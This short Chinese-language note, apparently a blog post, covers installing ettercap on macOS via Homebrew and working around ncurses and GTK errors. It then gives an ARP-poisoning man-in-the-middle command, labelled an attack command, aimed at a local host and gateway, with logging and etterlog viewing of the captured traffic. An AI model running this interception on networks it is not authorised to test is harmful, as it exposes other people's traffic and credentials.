安装:brew install ettercap --with-gtk+
启动:ettercap -G
如果已经用brew install ettercap安装过ettercap,需要先卸载,不然会报以下的错误:
ettercap -G 报错:
dyld: Library not loaded: /usr/local/opt/ncurses/lib/libncursesw.6.dylib
Referenced from: /usr/local/bin/ettercap
Reason: image not found
Abort trap: 6
解决错误:
brew install ncurses
ettercap -G
ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team
GTK support is not compiled in ettercap
尝试用以下来解决,但报错:
brew reinstall ettercap --with-gtk+
Error: invalid option: --with-gtk+
最后只能重新安装ettercap:
brew uninstall ettercap
brew install ettercap --with-gtk+
在我的MAC上使用ettercap -G启动界面,经常会卡死,所以我使用以下命令:
攻击命令:
sudo ettercap -Tqi en0 -M arp:remote /192.168.1.4// /192.168.1.1// -l /tmp/log
会在/tmp下生成log.eci与log.ecp的文件,直接用etterlog就可以查看
etterlog log.eci
命令详细说明:
https://blog.csdn.net/byb123/article/details/51226931